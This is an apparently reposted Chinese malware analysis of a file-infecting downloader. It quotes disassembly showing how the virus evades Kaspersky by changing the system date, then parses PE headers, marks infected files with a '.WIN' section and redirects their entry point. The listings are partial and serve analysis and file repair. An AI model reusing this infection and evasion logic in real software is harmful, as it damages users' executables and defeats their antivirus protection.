編程

感染型下載者WIN.exe部分行爲分析(上)
[url]http://www.hacker.com.cn/[/url] 2008-6-2 2:17:04 ***防線
本文涉及的問題:
1. 它是如何感染一個.EXE或.SCR文件的
2. 被感染文件被加入的代碼內容及其行爲
3. 基於1和2,簡要說明被感染文件的修復問題
本文沒有涉及的問題:
1. 該病毒如何修改註冊表
2. 該病毒生成哪些病毒體文件(包括是否在磁盤根目錄生成病毒副本)
3. 該病毒如何下載其他病毒
4. 該病毒感染哪些文件夾下的文件
以上這些內容,就待各位同仁去挖掘了。

樣本來源:劍盟樣本[url]http://bbs.janmeng.com/thread-675071-1-1.html[/url]
加殼情況:加UPX殼,直接用脫殼機脫殼(太懶了-_-)
脫殼後:基址13140000,入口點偏移00015570
分析方法:脫殼後OD載入看反彙編結果

病毒定性:(改節表)感染型下載者
前奏(準備工作):
創建名爲wokaon的互斥對象,EnumWindows似乎是在找卡巴的窗口,找到後則先將系統年份改爲1984年(7C0H),Sleep了20秒等卡巴掛掉後,再把時間改回來。這部分反彙編結果:
***************************************************************************************************
13155581 68 68561513     push 13155668                                   ; ASCII "wokaon"
13155586 6A 00           push 0
13155588 6A 00           push 0
1315558A E8 C508FFFF     call <CreateMutex>                            ;Delphi封裝函數
1315558F 8BD8          mov     ebx, eax
13155591 E8 8609FFFF     call <jmp.&KERNEL32.GetLastError>
13155596 3D B7000000     cmp     eax, 0B7
1315559B 0F84 BA000000 je    1315565B
131555A1 C605 A8791513 0>mov     byte ptr [131579A8], 0
131555A8 6A 00           push 0
131555AA 68 A4531513     push 131553A4
131555AF E8 800AFFFF     call <jmp.&user32.EnumWindows>
131555B4 803D A8791513 0>cmp     byte ptr [131579A8], 0
131555BB 75 07           jnz     short 131555C4
131555BD E8 F2EAFFFF     call 131540B4
131555C2 EB 44           jmp     short 13155608
131555C4 68 98791513     push 13157998
131555C9 E8 5609FFFF     call <jmp.&KERNEL32.GetLocalTime>
131555CE 66:8B1D 9879151>mov     bx, word ptr [13157998]
131555D5 66:C705 9879151>mov     word ptr [13157998], 7C0
131555DE 68 98791513     push 13157998
131555E3 E8 DC09FFFF     call <jmp.&KERNEL32.SetLocalTime>
131555E8 68 204E0000     push 4E20
131555ED E8 CA64FFFF     call <jmp.&KERNEL32.Sleep>
131555F2 E8 BDEAFFFF     call 131540B4
131555F7 66:891D 9879151>mov     word ptr [13157998], bx
131555FE 68 98791513     push 13157998
13155603 E8 BC09FFFF     call <jmp.&KERNEL32.SetLocalTime>
13155608 68 10270000     push 2710
1315560D E8 AA64FFFF     call <jmp.&KERNEL32.Sleep>
***************************************************************************************************
創建兩個線程,一個用於植入病毒和感染文件,另一個應該是用於下載的。
***************************************************************************************************
1315561C 68 90791513     push 13157990
13155621 6A 00           push 0
13155623 6A 00           push 0
13155625 68 88481513     push offset <ThreadFun1>
1315562A 6A 00           push 0
1315562C 6A 00           push 0
1315562E E8 4908FFFF     call <jmp.&KERNEL32.CreateThread>
13155633 68 94791513     push 13157994
13155638 6A 00           push 0
1315563A 6A 00           push 0
1315563C 68 14501513     push offset <ThreadFun2>
13155641 6A 00           push 0
13155643 6A 00           push 0
13155645 E8 3208FFFF     call <jmp.&KERNEL32.CreateThread>
***************************************************************************************************
我比較關心感染文件的內容。感染前有判斷驅動器屬性,不過Delphi對此封裝得太多,我看call看得眼花。所以它是哪些文件夾下的文件不感染,哪些文件夾下的文件被感染,這個我沒有仔細看。
最後進入N多個call後找到對.EXE和.SCR文件進行感染的部分代碼

一、病毒對.EXE和.SCR文件的PE結構進行識別並感染的部分分析
代碼從13152D8C開始,先CreateFileA打開文件之後進行識別並感染。
部分進行感染的代碼:
讀DOS文件頭,定位PE頭:
***************************************************************************************************
13152E00 6A 00           push 0
13152E02 8D45 EC       lea     eax, dword ptr [ebp-14]
13152E05 50              push eax
13152E06 6A 40           push 40
13152E08 8D45 A8       lea     eax, dword ptr [ebp-58]
13152E0B 50              push eax
13152E0C 8B45 F4       mov     eax, dword ptr [ebp-C]
13152E0F 50              push eax
13152E10 E8 7F31FFFF     call <jmp.&KERNEL32.ReadFile>
13152E15 66:817D A8 4D5A cmp     word ptr [ebp-58], 5A4D       ;MZ
13152E1B 74 11           je    short 13152E2E
……………………
13152E2E 6A 00           push 0
13152E30 6A 00           push 0
13152E32 8B45 E4       mov     eax, dword ptr [ebp-1C]       ;算一下,ebp-1C=ebp-58+3C,在上面的ReadFile之後,這裏正是e_lfanew,即到PE頭的偏移
13152E35 50              push eax
13152E36 8B45 F4       mov     eax, dword ptr [ebp-C]
13152E39 50              push eax
13152E3A E8 7D31FFFF     call <jmp.&KERNEL32.SetFilePointer>
***************************************************************************************************
讀PE頭,得到節數:
***************************************************************************************************
13152E3F 6A 00           push 0
13152E41 8D45 EC       lea     eax, dword ptr [ebp-14]
13152E44 50              push eax
13152E45 68 F8000000     push 0F8
13152E4A 8D85 B0FEFFFF lea     eax, dword ptr [ebp-150]
13152E50 50              push eax
13152E51 8B45 F4       mov     eax, dword ptr [ebp-C]
13152E54 50              push eax
13152E55 E8 3A31FFFF     call <jmp.&KERNEL32.ReadFile>
13152E5A 81BD B0FEFFFF 5>cmp     dword ptr [ebp-150], 4550    ;"PE\0\0"
13152E64 74 11           je    short 13152E77
…………………………
13152E77 33FF          xor     edi, edi
13152E79 33C0          xor     eax, eax
13152E7B 8945 F0       mov     dword ptr [ebp-10], eax
13152E7E 0FB79D B6FEFFFF movzx ebx, word ptr [ebp-14A]                    ; 算一下,ebp-14A=ebp-150+06,正好是IMAGE_NT_HEADERS結構中的NumberOfSections
***************************************************************************************************
循環讀每一個IMAGE_SECTION_HEADER結構,對比其名字是否是.WIN,以判斷是否已感染,並得到其他信息:
***************************************************************************************************
13152E85 4B              dec     ebx
13152E86 85DB          test ebx, ebx
13152E88 7C 60           jl    short 13152EEA                      ;最後一節已完,跳出
13152E8A 43              inc     ebx
13152E8B 6A 00           push 0
13152E8D 8D45 EC       lea     eax, dword ptr [ebp-14]
13152E90 50              push eax
13152E91 6A 28           push 28
13152E93 56              push esi
13152E94 8B45 F4       mov     eax, dword ptr [ebp-C]
13152E97 50              push eax
13152E98 E8 F730FFFF     call <jmp.&KERNEL32.ReadFile>
13152E9D 8D85 84FEFFFF lea     eax, dword ptr [ebp-17C]
13152EA3 8BD6          mov     edx, esi
13152EA5 E8 9A12FFFF     call 13144144
13152EAA 8B85 84FEFFFF mov     eax, dword ptr [ebp-17C]
13152EB0 BA 90301513     mov     edx, 13153090                            ; ASCII ".WIN"
13152EB5 E8 7A14FFFF     call <CmpString>
13152EBA 75 11           jnz     short 13152ECD                             ; 不是.WIN節
13152EBC C745 F8 0200000>mov     dword ptr [ebp-8], 2                       ; 是.WIN節,已被感染過
13152EC3 E8 900BFFFF     call 13143A58
13152EC8 E9 87010000     jmp     13153054                                   ; 跳過感染的代碼
13152ECD 8B46 14       mov     eax, dword ptr [esi+14]                    ; 不是.WIN節,直接來到這裏
13152ED0 0346 10       add     eax, dword ptr [esi+10]
13152ED3 3BF8          cmp     edi, eax
13152ED5 73 02           jnb     short 13152ED9
13152ED7 8BF8          mov     edi, eax
13152ED9 8B46 0C       mov     eax, dword ptr [esi+C]
13152EDC 0346 08       add     eax, dword ptr [esi+8]
13152EDF 3B45 F0       cmp     eax, dword ptr [ebp-10]
13152EE2 76 03           jbe     short 13152EE7
13152EE4 8945 F0       mov     dword ptr [ebp-10], eax
13152EE7 4B              dec     ebx
13152EE8   ^ 75 A1           jnz     short 13152E8B
***************************************************************************************************
接着向堆棧中寫新的IMAGE_SECTION_HEADER,修改堆棧中之前得到的PE頭和DOS頭結構的相關量(如節數,入口點等),並寫回原文件相應位置。
其中:
***************************************************************************************************
13152EEA BB 882D1513     mov     ebx, 13152D88
13152EEF 81EB F82B1513 sub     ebx, 13152BF8
***************************************************************************************************
13152BF8到13152D88的位置,保存有將被寫入被感染文件的可執行代碼。
***************************************************************************************************
13152F8C 8B46 0C       mov     eax, dword ptr [esi+C]
13152F8F 05 C5000000     add     eax, 0C5
13152F94 81C0 042C1513 add     eax, 13152C04
13152F9A 81E8 F82B1513 sub     eax, 13152BF8
13152FA0 8985 D8FEFFFF mov     dword ptr [ebp-128], eax
***************************************************************************************************
13152C04處的代碼,將成爲程序的入口點指向的代碼。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章